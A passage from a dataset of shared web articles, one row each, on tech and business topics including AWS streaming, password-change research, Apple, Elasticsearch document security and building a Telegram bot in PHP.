in-memory array. Yet, you would have to perform a grouping before because you would have to care on which node your data is going to end up whereas you are not supposed to care about the infrastructure... You can put everything in cache. But what kind of solutions can we use? It does not seem wise to use an external component such as Memcached, Redis or even Cassandra. It would be better to use an AWS stack component such as ElastiCache or DynamoDb. But even by doing so, you would have to be careful with the implementation of your lambda function (fault-tolerance, high availability, data loss, memory clean up). Deploying automatically The way to automate provisioning and configuration at scale is to use CloudFormation which is a configuration management tool such as Puppet, Chef or Ansible. It is difficult to handle but once everything is configured, it makes things easy. It allows to create, modify or update an existing stack on AWS. Described below key templates to instantiate our components with CloudFormation: AWS Kinesis Stream : AWS DynamoDB: Once your Cloud Formation template is done, you will be able to deploy a full stack without manually set parameters or interactions between components. It makes things easy to create automatically services and end up with a full real-time architecture up and running on AWS. However, questions arise: How many tuples can the platform handle? Regarding high availability, are we sure to not lose any messages when a service crashes? Can we deploy without interruption? How long does it takes? Can we develop easily in local mode and then deploy onto the cluster? Is it easy to automatically test our programs? Do we have enough flexibility to implement complex data stream processing? All of these questions will have to find answers. But for the moment, The AWS stack Kinesis, Lambda and DynamoDB is a good start to make real-time distributed system easier to start with.",en
1471213131,CONTENT SHARED,2668307045795933565,-1032019229384696495,739525123693115384,,,,HTML,https://techcrunch.com/2016/08/14/blab-shuts-down-but-founders-promise-new-product-on-the-way/,"Blab shuts down, but founders promise new product on the way","Livestreaming app Blab, which amassed 3.9 million users in just one year, shut down this weekend, its CEO Shaan Puri announced with a post on Medium late Friday. The app, which competed with Twitter's Periscope, Facebook Live, IBM-owned UStream.tv and other media companies in the livestreaming game, was created at Monkey Inferno , a tech incubator self-funded by the founders of Bebo, Michael and Xochi Birch. In his post, Puri promised his team would come back with a new product, but was retiring Blab because of churn, basically. Only 10% of users came back everyday to use Blab, the CEO admitted. And users weren't coming back to the platform to watch archived streams on replay, he wrote. Puuri hinted that a new product would focus more on social features and less on content: ""Blab was great in many ways, but it wasn't going to be an everyday thing for millions. So we're kicking down the sandcastle, and re-building it as an 'always on' place to hang with friends."" Whether or not the Blab team can manage a successful pivot into another very competitive corner of social media has yet to be seen. Other companies vying to provide the top spot where friends can hang out in groups online includes, obviously, Facebook, Google and Snapchat, but also upstarts like Rabbit, Oncam and scores of others.",en
1471222032,CONTENT SHARED,-7484960773951920439,-48161796606086482,-4354898712024931938,,,,HTML,https://letstalkpayments.com/mobile-only-challenger-banks-are-shaping-the-future-of-financial-services-industry/,Mobile-Only Challenger Banks Are Shaping the Future of Financial Services Industry,"February 17, 2016 &nbsp &nbspBy : Sofia is building a bank with none of the baggage of the past. It hasn't been launched yet but has been authorized with restrictions by the Prudential Regulation Authority (PRA) and regulated by the Financial Conduct Authority (FCA) and the PRA. As a mobile-only "" challenger bank, "" Atom will bring banking to the UK, using biometrics instead of passwords in their innovative mobile app. Atom Bank was listed at number eight in KPMG's Global FinTech Innovators 100. Spanish bank BBVA owns almost of Atom's stakes. London-based is a prepaid debit card and mobile banking service that empowers young people to manage their money responsibly. It offers a safe MasterCard prepaid debit card and a simple mobile banking app with separate logins for young people and parents. All money on Osper is safely managed by a regulated European bank. is a digital banking service that let users open a UK banking account on their mobile in minutes regardless of their citizenship. Monese is a UK-based startup that targets immigrants who experience daunting tasks in opening a UK bank account as a foreigner. The mobile banking service established by Estonian Norris Koppel lets users open a current account and get a in just three minutes with a snapshot of their passport and a selfie. Monese's technology is based on the cloud and removes many of the barriers that legacy banking systems impose. is a digital banking startup led by Azimo founder Ricky Knox and Capital One's Matt Coope. In December 2015, Tandem was granted a license by the Bank of England. The startup will now begin the process of constructing its technology platform and meeting capital requirements. Secco is an early stage bank with a mission to reinvent banking. Secco follows the principles ease vs. security, social vs. private, choice vs. automation, transactions vs. interactions and freedom vs. protection. Now experience the full power of the LTP knowledgebase on this and all other FinTech topics. MEDICI, now in beta, is the discovery and engagement platform for FinTech startup research. Register here and find out if your company has already been profiled at medici.letstalkpayments.com Latest posts by Sofia ( see all )",en
1471261138,CONTENT SHARED,-3675009040647936899,6971525809430309144,-598081022245528238,,,,HTML,http://www.diolinux.com.br/2016/08/ubuntu-recebe-suporte-ao-react-native.html,Ubuntu recebe suporte ao React Native e aplicativos de Android e iOS poderão chegar ao sistema,"A Canonical deu um passo importante para permitir o desenvolvimento de aplicativos para o Ubuntu com pacotes Snap - entenda os pacotes Snap aqui - graças a adoção do framework React Native, desenvolvido pelo Facebook, entenda: A Canonical anunciou uma novidade importante, o suporte para o framework do Facebook, React Native, que permitirá que aplicativos desenvolvidos com o React.js para Android e iOS possam ser portados e interajam com o Ubuntu de forma convergente, juntamente com o Unity 8. Os pacotes Snap permitirão que os desenvolvedores criem pacotes que rodarão no sistema, independente do dispositivo que o Ubuntu estiver rodando, Desktops, Servidores, Mobile ou IoT. O React Native permitirá que os desenvolvedores criem aplicativos que tenham a capacidade de rodar em várias plataformas e que interajam com a interface gráfica do sistema operacional, não importa qual seja. A Canonical criou uma página no GitHub mostrando os primeiros passos para quem quer trabalhar com o React Native no Ubuntu. Isso não quer dizer que todos os aplicativos de Android e iOS rodarão no Ubuntu, mas quer dizer que todos os Apps para ambas as plataformas que forem desenvolvidos com React Native poderão ser adaptados no Ubuntu sem muita dificuldade. _____________________________________________________________________________ Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.",pt
1471264091,CONTENT SHARED,-5116903270312432935,7580644064067188685,-799595175558912099,,,,HTML,https://www.weforum.org/reports/the-future-of-financial-infrastructure-an-ambitious-look-at-how-blockchain-can-reshape-financial-services/,The future of financial infrastructure: An ambitious look at how blockchain can reshape financial services,"The report builds upon the findings from Deloitte/World Economic Forum report Disruptive Innovation in Financial Services and looks at the impact of implementing distributed ledger technology across nine sectors of financial services. Our findings suggest this technology has the potential to ""live-up to the hype"" and reshape financial services, but requires careful collaboration with other emerging technologies, regulators, incumbents and additional stakeholders to be successful.",en
1471264620,CONTENT SHARED,-1033806831489252007,6971525809430309144,-598081022245528238,,,,HTML,http://www.reactnative.com/react-native-v0-32-0-rc-0-released/,React Native v0.32.0-rc.0 released,v0.32.0-rc.0 on GitHub (npm) Breaking changes NavigationExperimental: Rename renderOverlay to renderHeader (ca85311) - @hedgerwang NavigationExperimental: Stop using absolute position for NavigationHeader. (38979f9) - @hedgerwang Android Bugfixes Fix BackAndroid subscriptions calls (b857631) - @webzepter Fix onLayout support in for Android (2ca2f87) - @antoinerousseau Fix ViewPager behavior with Nodes,en
1471265708,CONTENT SHARED,-7542498020532209188,3829784524040647339,4938933832306384595,,,,HTML,http://arstechnica.com/security/2016/08/frequent-password-changes-are-the-enemy-of-security-ftc-technologist-says/,"Frequent password changes are the enemy of security, FTC technologist says","Shortly after Carnegie Mellon University professor Lorrie Cranor became chief technologist at the Federal Trade Commission in January, she was surprised by an official agency tweet that echoed some oft-repeated security advice. It read: ""Encourage your loved ones to change passwords often, making them long, strong, and unique."" Cranor wasted no time challenging it. The reasoning behind the advice is that an organization's network may have attackers inside who have yet to be discovered. Frequent password changes lock them out. But to a university professor who focuses on security, Cranor found the advice problematic for a couple of reasons. For one, a growing body of research suggests that frequent password changes make security worse. As if repeating advice that's based more on superstition than hard data wasn't bad enough, the tweet was even more annoying because all six of the government passwords she used had to be changed every 60 days. ""I saw this tweet and I said, 'Why is it that the FTC is going around telling everyone to change their passwords?'"" she said during a keynote speech at the BSides security conference in Las Vegas . ""I went to the social media people and asked them that and they said, 'Well, it must be good advice because at the FTC we change our passwords every 60 days."" Cranor eventually approached the chief information officer and the chief information security officer for the FTC and told them what a growing number of security experts have come to believe. Frequent password changes do little to improve security and very possibly make security worse by encouraging the use of passwords that are more susceptible to cracking. The CIO asked for research that supported this contrarian view, and Cranor was happy to provide it. The most on-point data comes from a study published in 2010 by researchers from the University of North Carolina at Chapel Hill. The researchers obtained the cryptographic hashes to 10,000 expired accounts that once belonged to university employees, faculty, or students who had been required to change their passcodes every three months. Researchers received data not only for the last password used but also for passwords that had been changed over time. By studying the data, the researchers identified common techniques account holders used when they were required to change passwords. A password like ""tarheels#1"", for instance (excluding the quotation marks) frequently became ""tArheels#1"" after the first change, ""taRheels#1"" on the second change and so on. Or it might be changed to ""tarheels#11"" on the first change and ""tarheels#111"" on the second. Another common technique was to substitute a digit to make it ""tarheels#2"", ""tarheels#3"", and so on. ""The UNC researchers said if people have to change their passwords every 90 days, they tend to use a pattern and they do what we call a transformation,"" Cranor explained. ""They take their old passwords, they change it in some small way, and they come up with a new password."" The researchers used the transformations they uncovered to develop algorithms that were able to predict changes with great accuracy. Then they simulated real-world cracking to see how well they performed. In online attacks, in which attackers try to make as many guesses as possible before the targeted network locks them out, the algorithm cracked 17 percent of the accounts in fewer than five attempts. In offline attacks performed on the recovered hashes using superfast computers, 41 percent of the changed passwords were cracked within three seconds. A separate study from researchers at Carleton University provided a mathematical demonstration that frequent password changes hamper attackers only minimally and probably not enough to offset the inconvenience to end users. Over the past few years, organizations including the National Institute of Standards and Technology in the US and UK government agency CESG have also concluded that mandated password changes are often ineffective or counterproductive. And now, thanks to Cranor, the FTC has also come around to this thinking. But don't count on everyone doing away with regular password changes. ""I'm happy to report that for two of my six government passwords, I don't have to change them anymore,"" Cranor said. ""We're still working on the rest.""",en
1471268312,CONTENT SHARED,6165641386379495559,-709287718034731589,-1985147274488559003,,,,HTML,http://www.cultofmac.com/442280/today-in-apple-history-imac-g3-arrives-to-save-apple/,Today in Apple history: iMac G3 arrives to save Apple,"The computer which saved Apple. Photo: Apple August 15, 1998 : The iMac G3, Apple's brightly colored translucent Macintosh relaunch, goes on sale to a rapid audience. Jobs' first major launch since returning to Apple, the iMac cements his legacy as a forward-thinker, introduces the world to the design talents of Jony Ive, and pretty much saves Apple in the process. In what was then a sea of beige boxes, the iMac looked like no computer people had seen before. ""It looks like it's from another planet,"" Jobs said. ""A good planet. A planet with better designers."" That designer was, of course, Jony Ive. Ive had been at Apple for a few years by this point (one of his earliest projects had been working on the Newton MessagePad product line), but this was the purest expression of his creativity yet. Inside Apple, the iMac also effectively formed the bond between Steve Jobs and Jony Ive, which lasted until Jobs' death in 2011. The iMac initially came in a kind of sea-green Bondi Blue (named after the water at an Australian beach), although the product line later expanded to include a broad range of colors and patterns. Its translucent plasticized design always struck me as both slightly retro and incredibly futuristic: a conflation which made perfect sense in a decade like the 90s that was nostalgic for the 1960s but looking forward to the new millennium. In terms of spec, the original iMac boasted a 233 MHz PowerPC 750 (G3) processor, 32MB of RAM, a 4GB EIDE hard drive, and a choice of either ATI Rage IIc graphics with 2MB of VRAM or ATI Rage Pro Turbo graphics with 6MB of VRAM. Technologically, this wasn't a massive upgrade on what Apple had done in the past - or what other companies were doing at the time. The big difference with the iMac - appearance aside - was that it was designed to be an internet computer. It came with a built-in telephone modem at a time when most computers included these only as optional extras. It also promised customers access to the World Wide Web within minutes of first switching on their new computer. Apple received 150,000 pre-orders for the iMac prior to its launch, and the promise of the computer drove Apple's stock price to over $40 a share: the best Apple had managed in three years. It also benefitted from a healthy advertising budget of $100 million, while the company's PR department told people it would be the biggest computer launch in Apple's history. Considering how fondly remembered it is today, and what an important a turning point it represented for Apple, one of the most surprising things about the first iMac is that it received plenty of negative reviews when it first came out. ""The iMac will only sell to some of the true believers,"" said a face-palming review in the Boston Globe . ""The iMac doesn't include a floppy disk for doing file backups or sharing of data. It's an astonishing lapse from Jobs, who should have learned better ... The iMac is clean, elegant, floppy-free - and doomed."" Other reviews complained about the lack of Windows compatibility and therefore concerns about possible lack of software software, and the relatively high price point - despite it being considerably cheaper than many previous Apple computers. The most legitimate critique of the computer was its terrible ""hockey puck"" mouse, which illustrated perfectly what happened when ""form"" won over ""function"" in Apple's design studio. Still, overall the machine was an enormous success - and its design language and internet focus was soon borrowed to help create Apple's new iBooks . Did you own an iMac G3? Almost twenty years later, what are your thoughts and memories of one of Apple's most iconic computers? Leave your comments below.",en
1471268337,CONTENT SHARED,7655627888058923987,-709287718034731589,-1985147274488559003,,,,HTML,http://www.cultofmac.com/442298/10-things-we-learned-from-tim-cooks-most-revealing-interview-yet/,10 things we learned from Tim Cook's most revealing interview yet | Cult of Mac,"Tim Cook had a lot to say. Photo: Jim Merithew/Cult of Mac Due to Apple's secrecy, and the company's marketing-driven need to stay ""on message,"" interviews with senior execs can often be frustratingly revelation-free. That's not the case with the recent in-depth interview the Washington Post did with CEO Tim Cook, however. Here are the ten most interesting tidbits we learned from Cook's most revealing chat yet. Apple talks about its succession plans at the end of every board meeting ""At the end of every board meeting, I discuss succession with the board because I might step off the wrong curb or something. We have the good discipline to do that. Then my role is to make sure that the board has great candidates to pick from internally. And I take that role extremely seriously. Look around at the great people I get to work with - there's some really just superb talent in the company."" Still, must be nice to end each meeting with a reminder of your untimely death... Tim Cook doesn't have much time for analysts Analysts say the darndest things, right? But while you and I get to take comments about how Apple is doomed with a pinch of salt, for Cook the constant suggestions that Apple - despite its world-beating status - is on the brink of disaster must surely bother him a bit more, even just from a stock price perspective. No wonder he doesn't sound enamored by analysts! ""[H]onestly, they were saying that [Apple was doomed] in 2001. They were saying it in 2005. They were saying it in 2007 - 'this stupid iPhone, whoever dreamed up this thing?' Then they were saying that we peaked in 2010, then it was 2011. We got to $60 billion [in revenue], and they said you can't grow anymore from this. Well, last year we were $230 billion ... I've heard all of it before."" Investors should be in it for the long-haul ""I think for investors that are focused on the long term, if you look at how we've done in the past five years, our total shareholder return is over 100 percent. That's a pretty good number. And I think most people that have been in the stock for that period of time are probably pretty happy."" Steve Jobs' death took him by surprise Jobs' ""reality distortion field"" - his ability to will engineers to create amazing products which seemed impossible - extended to his health, too. Cook says that, when he assumed control of Apple in 2011, he truly believed Jobs was going to still be around as chairman for some time to come. ""[His death came] very quickly. [The day he died] was sort of the worst day ever. I just - I had really convinced myself. I know this sounds probably bizarre at this point, but I had convinced myself that he would bounce [back], because he always did."" The social justice side of Apple is incredibly important to him ""I think for us ... - for a company that's all about empowering people through our products, and being a collection of people whose goal in life is to change the world for the better - it doesn't sit right with me that you have that kind of focus, but you're not making sure your carbon footprint isn't poisoning the place. Or that you're not evangelizing moving human rights forward. I think every generation has the responsibility to enlarge the meaning of human rights. I do view that a CEO today of Apple should participate in the national discussion on these type of issues."" Cook talked with Anderson Cooper about coming out as gay Cook is immensely private, which is why it was a surprise when he publicly came out as gay in October 2014 in a history-making essay for BusinessWeek. As he reveals, however, this move had been a long time in the making - and he sought out advice from another prominent LGBT public figure along the way. ""It had been planned for quite a long time. It was not something that was done in a moment, by any means. It was probably a year. Just thinking through what to say, how to say it, where to say it, how to do that in a way that advanced what I was trying to do. I wanted it to be in a business [publication]. That's what I know, that's who I am. There was a lot of work there. I visited people. I talked to Anderson Cooper at length - multiple times. Because I thought that the way that he handled his announcement was really classy. I was getting advice from people who I thought were really great people who had really deeply thought about it."" Apple is still pretty darn secretive Asking Tim Cook about the Apple Car or a future iPhone always elicits a standard closed answer, but Cook - who once said that, ""We believe in saying no to thousands of projects"" - won't even talk about the projects Apple doesn't want to do. (Although there are apparently some big ones.) ""I don't know if I want to do that, because it gives competition some heads-up about things. But be assured that we have. More than one. Because the wonderful thing about Apple is there are many ideas about doing things. We have resources to do a few, but you can only do a few things deep and well, and so you have to say no and have debates about what things are in versus out. So more than one big thing has left the page."" Hiring Apple's previous Senior Vice President of Retail was a 'screw-up' The 2012 hiring of former Dixons CEO John Browett as Apple's Senior Vice President of Retail didn't last too long - despite him picking up $60 million in stock as part of his welcoming gift. And Cook now obviously regrets it. ""I hired the wrong person for retail [former Dixons CEO John Browett] initially. That was clearly a screw-up. I'm not saying anything bad about him. He didn't fit here culturally is a good way to describe it. We all talked to him, and I made the final decision, and it was wrong. We fairly quickly recognized it and made a change. And I'm proud we did that."" Being CEO of Apple's a pretty lonely job ""The adage that it's lonely - the CEO job is lonely - is accurate in a lot of ways. I'm not looking for any sympathy. You have to recognize that you have blind spots. We all do. Blind spots move, and you want to not just have really bright people around you, but people who will push on you and people to bring out the best in you. People that amplify whatever you're good at. And then also the people who plug the parts that you're not and may never be."" Apple's no tax dodger ""We are the largest taxpayer in the United States. And so we're not a tax dodger. We pay our share and then some. We don't have these big loopholes that other people talk about. The only kind of major tax credit that we get is the R&D tax credit, which is available to all companies in the United States. That's important to know. The second thing I would point out is we have money internationally because we have two-thirds of our business there. So we earn money internationally. We didn't look for a tax haven or something to put it somewhere. We sell a lot of product everywhere. And we want to bring it back [to the U.S.], and we've been very honest and straightforward about that."" I'd highly recommend checking out the rest of the interview, which goes into far more detail about many of these topics. You can do so at the link below. Source: Washington Post",en
1471278301,CONTENT SHARED,8993230615635349817,-7531858294361854119,-1027511223695293841,,,,HTML,http://www.theverge.com/circuitbreaker/2016/8/13/12460542/mit-microsoft-research-gold-leaf-smart-temporary-tattoo,MIT and Microsoft Research made a 'smart' tattoo that remotely controls your phone,"A group of PhD students from the MIT Media Lab and researchers from Microsoft Research have come up with the ultimate wearable: a temporary tattoo that can turn into a touchpad, remotely control your smartphone, or share data using NFC. The technology, which is described on MIT's website and will be presented in full at a wearables symposium next month, is called DuoSkin. The researchers say you can design a circuit using any graphic software, stamp out the tattoo in gold leaf (which is conductive to electricity), and then apply other commodity materials and components that would make the tattoo interactive. The paper presents three key use cases for the tattoo: you could use it to turn your skin into a trackpad, design it to change color based on temperature, or pull data from the tattoo. In one photo shared by MIT the tattoo even includes LED lights, creating a kind of glowing display on the skin. This isn't the first time researchers have tried to turn our ""dumb"" epidermis into the equivalent of a touchscreen. Back in 2010 a Carnegie Mellon student, also in collaboration with Microsoft Research, came up with something called Skinput , which was designed to turn your wrist or the back of your hand into a ""gestural finger input canvas."" The golf leaf tattoo could change colors, unlock doors, or turn your skin into a trackpad But that was more expensive to build and required some sort of device that would project an interface onto the skin, while this tattoo can simply be applied like a regular temporary tattoo: stick it on your skin, apply a damp cloth, peel off the tattoo paper, and eventually, remove. If anything, this is more akin to some of the ""smart"" patches that health and consumer product goods companies have been experimenting with. If the future of wearables is this easy - and easy on the eyes - then sign me up.",en
1471283974,CONTENT SHARED,-6124198068300347794,-7531858294361854119,-1027511223695293841,,,,HTML,http://vitaminw.co/business/language-beauty-ads,The Language of Beauty Ads,"There is a very specific language of beauty. It's a language spoken by billions-and the cosmetics industry spends a whopping 20-25% of its annual budget to sell its wares. It's a nice language that doesn't offend. And it's quite standardized. Just by looking at an ad, you can tell what they're selling. And we're all somehow fluent in it, without even having studied. After spending days watching hundreds of ads for beauty products, I deciphered this rosetta stone and can tell you a few things about the language of selling product. BODY LOTION If a woman is wearing a t-shirt and panties, especially a white t-shirt or a sleeveless dress, and tracing fingers down her limbs, she is trying to sell you a product to put on the skin-that is not on your face. Jergens and Vaseline spray on: ispot.tv Same thing if a man is caressing a woman dressed thusly. The strap of a white camisole tells you that a body cream is involved somehow. In fact, lotion manufacturers might want to package a camisole with every bottle of body lotion. Nivea Extended Moisture: youtube PERFUME If an ad is set in Paris, the bottle in question will be scented-an eau de toilette, or perfume, depending on your budget. Victoria's secret: ispot.tv If a woman enters a café or party, and stands out from the multitudes of other women in that room, it's because she is wearing something that smells really good. Givenchy Irresistible with Amanda Seyfreid; youtube Lancome's La Vie est Belle with Julia Roberts: youtube Or if a woman is being chased by a man who spies her in that crowd, you are also seeing a perfume commercial. Coco Mademoiselle with Keira Knightley; ispot.tv Or if she leaves that party in a motorboat down the Seine with the handsome man in hot pursuit, it is still because of that amazing man-zombifying perfume. Keira in boat, being watched by the guy on the bridge: youtube FACE CREAMS Moisturizers and other products you put on your face are ALL ABOUT SCIENCE. That means molecules and compounds. There are also a lot of numbers involved-percentages many times faster than a certain quantity of days. When you see any of those on a printed page or TV screen, you are definitely being taught the physics, chemistry, and science behind a face cream. It might be minerals, vitamins, or some kind of special process that releases these compounds into the various layers of dermis. Clinique Custom Repair Serum: ispot.tv Estee Lauder's Advanced Night Repair: ispot.tv Regenerist Microsculpting Cream: ispot.tv L'Oreal Youth Code: ispot.tv Olay Total Effects: ispot.tv Clinique: ispot.tv L'Oreal's Revitalift: ispot.tv BODY WASH If a woman is touching her stomach as water cascades over her, the market share of body wash is clearly at at stake. Sometimes, a man might be in the waterfall with her. As with body lotion, a woman's skin seems best enjoyed by a companion. In fact, the reason for us having all those square feet of dermis, might be for the pleasure of loved ones. Hence the need to keep our microbiome clean. SHAMPOO Shampoo ads involve a moving silken curtain of keratin strands of hair; the woman flips or touches this impressive drapery. It turns out there is technology involved in creating this silky tsunami-a hair serf. Someone is in a green suit in front of a green screen is flipping the model's hair around. The other amazing thing about these products is they make your hair flow upwards no matter where you are: in heaven, on a roof top, or even in a plane. Nexxus Hydra-Light: ispot.tv Suave Professionals Morrocan Oil: ispot.tv Garnier Triple Fructis: ispot.tv Herbal Essence: ispot.tv LOOKING GOOD IS SERIOUS One thing you will rarely see in a beauty commercial is humor. Lipstick, face cream, and makeup don't need any lightening up. (Julie Bowen does talk about a graveyard of face creams, and Tina Fey manages to sound funny while talking about the brand she sells. Jennifer Aniston narrates a flat out humorous ad for Aveeno, conspiratorally relating how all these other beauty brands tried to woo her, but she rebuked them all until the noble Aveeno asked for her help.) BEAUTY DIES ALONE You will also rarely see children of any kind. (Eucerin has a spot where a mother talks to her child about itchy skin, and in Pantene's video on ""Confident Women,"" a soldier comes home to her child with open arms.) But mostly these are women-only spaces-where a man enters only to admire, caress, or pursue her in a sweet night-of-the-living-dead kind of way. SEXY WITHOUT LITTLE SEX OR SEXISM There is little love-making in beauty world. Maybe some caressing around body lotions or kisses at the end of perfume commercials. One more obvious reference to sex is Natalie Portman's Miss Dior ad, where a black ribbon becomes a 50 shades kind of blindfold that later transforms into sateen restraint. She also takes a bath wearing sunglasses. In this utopia, there is little sexism or objectifying, because after all-the clients are trying to woo women. (Oddly, the same can't be said for household product commercials.) IT'S TOTALLY CLEAN The ultimate fantasy might just be total purity. Beauty flourishes in white rooms and against white backdrops with no real messiness of the worldish. Beauty-land is a zen place where there are no concerns other than the self. Now that will make anyone look 10 years younger in 5 minutes with 50% more radiance.",en
1471285944,CONTENT SHARED,-3671800260859291252,-8020832670974472349,3756099376122625295,,,,HTML,http://blog.comperiosearch.com/blog/2014/06/18/using-parentchild-relationships-document-security-elasticsearch/,Elasticsearch Parent/Child Relationship for Document Security,"Problem description Our documents have a huge content part with text, images, title, author, etc. that rarely or never changes. Other metadata fields can change more often and are only used for filtering, not relevancy scoring. The example meta data I will use here is a 'classification'. When the classification or other status changes, we would prefer not to have to refeed and reindex the entire document. This would cause Elasticsearch to invalidate the old version by marking it as deleted and create a new version, causing a lot of disk space to be used, as well as having to refeed a lot of unchanged data again. Solution One way to solve this is by utilising the new parent/child relationship feature that came with Elasticsearch 1.0. We can split a document in two parts, one containing the big static payload, and one containing the metadata we want to use for document security filtering. One will be the parent and one will be the child, and since we only have one of each in this scenario, it doesn't matter which is which, I will chose the metadata as the parent and the main content part as the child in this example. Say we have two confidentiality classification levels: 'public' and 'secret', and our documents contain a title and a body . Let's call the different parts of our document meta and content . What could have been one document with three fields will now be split into First we need to create an index and a mapping where we set up the parent/child relationship between our two document parts as two individual types. (Here using Marvel/Sense syntax for readability. You can always use cURL if you don't have Sense.) Now let's create some of the main content documents. We will use the same ID for the content document part and the meta document part. (This is not a requirement, it simply makes it easier to keep track of the related parts this way.) The parent ID that we refer to here is the ID of the parent document, of the parent document type. These documents do not yet exist, and they don't have to. So I create the content documents here first just to emphasise that point. Now let's create the parent documents that holds the classification field. Start by setting them all to public: Then see what happens when we search for all 'public' documents containing the word 'huge': This reveals all four documents. Now let's change the classification for the first document: Search again, and there should now be only three public documents. Closing notes Use numeric/enumerated classification levels instead, so we can more easily return all below a certain level. Another document security dimension could be an access control list consisting of user names or user groups. It seems unnecessary that we have to specify ""parent_type"": ""meta"" in the query, as this is already set up in the mapping. But imagine if you did not search for only content type documents, but rather any document type; then it would be needed.",en
1471291053,CONTENT SHARED,-3920984929373505016,3609194402293569455,-5783341880416637871,,,,HTML,http://code.tutsplus.com/articles/how-to-start-a-telegram-bot-with-php--cms-26329,How to Start a Telegram Bot With PHP,"If you are reading this, you know that chat bots are one of the biggest tech trends of 2016. The bot revolution is not only about artificial intelligence. A bot can be a tool in your messenger with a simple chat interface that can be used to extend the functionality of sites or services or can even be a standalone application. Bots are cheaper to develop and easier to install, and another great feature is that messengers can be used on every type of device-laptops, smartphones, and tablets. That's why everybody is crazy about bots now. And the biggest messenger with an open bot API is Telegram . What We Are Going to Do In this article we will create a simple stopwatch Telegram bot. I will show you how to create your bot, connect with analytics, write some code, and finally add your bot to a bot store. By the way, I've already prepared a demo, so you can test it just by adding @stopwatchbot to your Telegram contact list. Create a Bot With BotFather The first step to creating a bot is to register the account of your bot in Telegram. And there is a bot for that, called the BotFather . Just add it to your contact list and you'll be able to create and set up Telegram bots, just by typing the /newbot command and following the instructions of BotFather. After registering your new bot, you will receive a congratulations message with an authorization token. We will use this token soon to authorize a bot and send requests to the Bot API. Later you can use BotFather to add descriptions or photos to the profiles of your bots, regenerate tokens, set lists of commands to use, delete accounts, and so on. To get a full list of commands, just type /help in a chat to get a list of BotFather's commands. Connect to Botan Analytics There is no built-in analytics in the Telegram Bots API, but it's important to know how many users you have, how they act, and which commands they trigger more. Of course, we can collect this information using our own engine, but if we want to focus on bot functionality, not metrics, we just need to use an out-of-the-box solution. And there is a simple tool to connect your bot to analytics, called Botan . It's based on Yandex AppMetric and completely free. Using Botan, you can segment your audience, get information about user profiles, get the most used command, and get beautiful graphs right in your messenger, like this: To get started, you need to register your bot in Botan and get a token. And again, you can do it with a bot, BotanioBot: Just click the ""Add bot"" key on the dialog keyboard, type the nick of your bot, and you will get your bot track token. Now Botanio is ready to track your bot events, and you can get statistics by users, sessions, retention and events right in your messenger. Create and Register an SSL Webhook In Telegram there are two ways to get messages from your users: long polling and webhooks. Basically, with long polling, you need to request new messages from the API, and with webhooks you are setting a callback that the Telegram API will call if a new message arrives from a user. I prefer to use webhooks because it looks like real-time communication, so in this article we will use this method too. Now we need to choose a callback URL for our webhook, which needs to be reached under the HTTPS protocol, and we need to set it really secure, so hide your script in a secret path, as the manual says: If you'd like to make sure that the Webhook request comes from Telegram, we recommend using a secret path in the URL, e.g. > . Since nobody else knows your bot's token, you can be pretty sure it's us. If your SSL certificate is trusted, all you need to do is open this URL in your browser: Otherwise you have to generate a self-signed certificate. Here is an example of the command on Linux for it: And don't forget to open the SSL port: To get the certificate checked and set your webhook domain to trusted, you need to upload your public key certificate: Finally you will get a JSON reply like this: It says that the webhook was set and we are ready to start the engine of the bot. Build a Database Now we need to build a database for our timers. What do we need to store in it? When a user commands the stopwatch to start, we will take the ID of the chat and save a row with the chat ID and current Unix time, which is the number of seconds between now and the start of Unix Epoch, which is 1 January 1970 at UTC. Consequently, we will save a row with the chat ID and integer timestamp of the current Unix time. To show the current stopwatch time, we will get the saved timestamp and compare it with the current timestamp. The difference will be the current time in seconds. If the user stops the timer, we will simply delete the row with the current chat ID. So let's create a database and table to store the stopwatch information: Create a Stopwatch Class Finally we are ready to start coding. Let's create a class to work with the database in a file called stopwatch.php and start with a constructor that will set two private variables, where we will store the chat ID and the current MySQL connection: When the user starts the timer, we will get the current Unix time and save it in a row with the chat ID, so here is the start() method: If the timer stops, we need to delete a row from the database: And now for the main part of the class. When the user requests the status of the timer, we need to find the row with the stopwatch from the current conversation and calculate the difference in seconds between the saved Unix time and the current time. Fortunately, Unix time is an integer, so we can just subtract one value from another. To format the resulting value as a time, we will use the gmdate function. As you can see, if there is no value in the database, the method status() will return nothing, and we will process a null value like a stopped timer. Choosing a PHP Library There are many PHP libraries that exist to work with the Telegram API, but, at least at the moment of writing this article, there's only one that supports both the Telegram Bot API wrapper and Botan tracking. And it's called PHP Telegram Bot API. Use Composer to install this library: If you're not interested in using analytics, try Telegram Bot API PHP SDK with Lavarel integration or PHP Telegram Bot . Start the Webhook Script And now the main part begins-we will create a script to process callbacks from the Telegram Bot API. Start a file called index.php and include Composer autoload and a new Stopwatch class. Open a MySQL connection, create a new Telegram API client, and run it: Create Commands Now we need to set up a bot to answer on command /start . This command is used to start all Telegram bots, and users will be shown our welcome message when the first chat begins. Here, in the command() method, we defined a closure for receiving a command. This closure gets the ID of the current chat and sends a welcome message. Also, all registered commands are automatically tracked as the command name. To start the stopwatch, we will define the /go command: This will create an instance of the Stopwatch class and start a timer calling the start() method that we have defined already. To define the /status command, we need to do the same thing. Just call the status() method and return the result. If the method returned null, tell the user that the timer is not started. And if the user stops the timer, we need to get the status first, show the resulting time, and stop the timer using the stop() method. That's it! Now you can upload all the files to the webhook directory and test your bot. Adding a Keyboard To suggest to the user which commands he or she can run, we can add a keyboard to a message. Our stopwatch can be running or stopped, and there will be two ones for each state. To show a keyboard to the user, we just need to extend the sendMessage() method: Now you can add keyboards to every command of your bot. I will not include a full example here, but you can see it in the repository pages. Adding Your Bot to a Store Okay, so now we have working bot, and we want to show it to the world. The best way is to register the bot in a bot catalogue. For now, Telegram doesn't have an official catalogue like this, but there are a few unofficial ones, and the biggest is Storebot.me , where thousands of bots are already registered. And there is a... bot to register your bot in a bot store! Add @storebot to your contact list, type the /add command, and follow the instructions. You will be asked to enter the bot's username, name, and description, choose one of the standard categories, and confirm the bot's ownership by sending its token. After a while, your bot will pass the submission process and appear in the Storebot charts. Now you and your users can vote, find and rate your bot in the bot store to help it rise to the top of the chart. Conclusion We've come a long way, from creating a baby bot to registering it in a store to be available to real users. As you can see, there are many tools that exist to make your life easier with creating and spreading your bot, and you don't need much code to start an easy bot. Now you are ready to make your own! If you have any questions, don't hesitate to ask questions in the comments to the article. Further Reading and Related Links",en
